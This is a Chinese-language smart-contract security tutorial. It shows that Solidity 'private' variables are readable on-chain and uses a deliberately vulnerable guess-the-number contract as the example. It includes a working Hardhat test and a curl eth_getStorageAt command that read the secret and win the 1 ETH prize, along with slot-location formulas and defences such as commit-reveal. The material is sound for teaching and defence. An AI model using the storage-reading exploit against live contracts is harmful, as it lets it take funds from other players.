欢迎订阅专栏:10分钟智能合约:进阶实战
实战4:区块链隐私误区 —— 如何读取合约的“私密”数据
在区块链的世界里,没有真正的隐私。任何写入链上的数据,无论是否标记为
private,都是公开可读的。本实战将通过一个猜数字游戏,演示攻击者如何利用eth_getStorageAt直接读取存储槽,轻松获取本应“保密”的秘密数字,从而赢得奖励。
一、场景设定
我们设计了一个简单的猜数字游戏(Guess The Number):
- 合约部署时,管理员设定一个 0~100 的整数作为答案,存储在
private变量中。 - 玩家每次调用
guess(uint256)并支付 0.1 ETH,如果猜中,可获得 1 ETH 奖励。 - 开发者认为
private变量无法被外部读取,因此是安全的。
现实:任何节点都可以通过 JSON-RPC 接口读取任意存储槽的数据,private 修饰符仅阻止 Solidity 编译器生成默认的 getter 函数,对链下观察者毫无阻碍。
二、漏洞合约(SecretGame.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SecretGame {
address public owner;
uint256 private secretNumber; // ❌ 自以为隐藏
bool public gameActive;
event GuessResult(address indexed player, bool correct);
constructor(uint256 _secret) {
owner = msg.sender;
secretNumber = _secret;
gameActive = true;
}
function guess(uint256 _num) external payable {
require(gameActive, "Game ended");
require(msg.value == 0.1 ether, "Must send 0.1 ETH");
bool correct = (_num == secretNumber);
emit GuessResult(msg.sender, correct);
if (correct) {
gameActive = false;
payable(msg.sender).transfer(1 ether);
}
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function endGame() external onlyOwner {
gameActive = false;
}
}
漏洞分析:
secretNumber存储在存储槽 1(因为owner占用槽 0,gameActive占用槽 2)。- 使用
eth_getStorageAt(合约地址, 1)可以立即读取该值。 - 攻击者无需部署额外合约,只需直接调用 JSON-RPC 即可。
三、攻击方法(两种实现)
方法 1:使用 ethers.js(Hardhat 测试环境)
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("攻破私密变量", function () {
let game, owner, attacker;
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
const Game = await ethers.getContractFactory("SecretGame");
game = await Game.deploy(42); // 秘密数字为 42
await game.deployed();
await owner.sendTransaction({ to: game.address, value: ethers.utils.parseEther("5") });
});
it("攻击者读取存储槽并获胜", async function () {
// 1. 读取存储槽 1(secretNumber 的位置)
const secretHex = await ethers.provider.getStorageAt(game.address, 1);
const secretNumber = ethers.BigNumber.from(secretHex).toNumber();
console.log(`[+] 秘密数字: ${secretNumber}`); // 输出 42
// 2. 调用 guess,附带 0.1 ETH
await game.connect(attacker).guess(secretNumber, {
value: ethers.utils.parseEther("0.1"),
});
// 3. 验证游戏已结束,攻击者获得奖励
expect(await game.gameActive()).to.be.false;
const balance = await ethers.provider.getBalance(attacker.address);
// 净收益约 0.9 ETH(忽略 gas)
console.log(`攻击者余额: ${ethers.utils.formatEther(balance)} ETH`);
});
});
方法 2:使用 curl 直接调用 JSON-RPC(通用)
# 读取槽 1 的数据
curl -X POST -H "Content-Type: application/json" --data '{
"jsonrpc":"2.0",
"method":"eth_getStorageAt",
"params":["0x你的合约地址", "0x1", "latest"],
"id":1
}' https://mainnet.infura.io/v3/你的项目ID
返回的十六进制字符串即为秘密数字(转换为十进制即可)。
四、如何定位存储槽
Solidity 的状态变量按声明顺序从槽 0 开始分配。对于复杂类型:
| 类型 | 存储位置规则 |
|---|---|
定长类型(uint256, address, bool 等) | 每个变量占用一个槽(或按需填充)。 |
固定长度数组(如 uint256[10]) | 从声明的槽开始连续存储所有元素。 |
动态数组(如 uint256[]) | 槽 p 存储数组长度;元素从 keccak256(p) 开始。 |
映射(如 mapping(address => uint)) | 键 k 对应的值存储在 keccak256(k . p),其中 . 表示连接。 |
计算映射键的示例(读取某地址的余额)
// 假设 mapping(address => uint) public balances 在槽 0
const slot = 0;
const key = ethers.utils.solidityKeccak256(
["uint256", "uint256"],
[ethers.utils.hexZeroPad(addr, 32), slot]
);
const value = await provider.getStorageAt(contractAddress, key);
对于动态数组,读取第 i 个元素:
const index = i;
const slot = 1; // 动态数组在槽 1 声明
const key = ethers.utils.solidityKeccak256(["uint256"], [slot]);
const valueSlot = ethers.BigNumber.from(key).add(index);
const value = await provider.getStorageAt(contractAddress, valueSlot);
五、防御措施
1. 不要在链上存储秘密(最佳实践)
将敏感数据放在链下,仅存储其哈希。使用**承诺-揭示(Commit-Reveal)**模式:
contract SafeGame {
mapping(address => bytes32) public commits;
function commit(bytes32 _commit) external {
commits[msg.sender] = _commit;
}
function reveal(uint256 _answer, bytes32 _secret) external {
require(keccak256(abi.encodePacked(_answer, _secret)) == commits[msg.sender]);
// 验证通过后处理奖励
}
}
用户先提交 keccak256(answer, secret),在验证阶段再提交明文 answer 和 secret,合约验证哈希一致。因为哈希无法逆向,答案在揭示前对所有人隐藏。
2. 使用零知识证明(ZK)
对于高级隐私需求,可使用 zk-SNARKs / zk-STARKs 在完全不暴露原始数据的情况下验证条件。
3. 借助预言机或链下签名
将秘密数据交给受信任的链下服务,通过签名或验证来授权访问。
4. 加密存储(不推荐)
即使加密,密文仍然公开,密钥需链下管理,且存在密钥泄露风险。
六、真实世界教训
- 各类“Sealed Bid”拍卖:早期项目使用
private变量存储最高出价,结果被参与者轻松读取,破坏密封性。 - 链上游戏:许多猜谜、彩票游戏因为隐藏参数暴露而迅速被攻破。
- 随机数种子:使用私有变量作为随机数源,攻击者可提前计算出结果。
七、总结
- 区块链上的数据:全部公开,
private只是 Solidity 层面的访问限制,不是加密。 - 任何存储槽:都可以通过
eth_getStorageAt读取,无需权限。 - 必须假设:所有链上状态都是公开的,绝不可依赖其私密性做安全判断。
- 正确做法:采用哈希承诺、零知识证明或链下存储来保护敏感信息。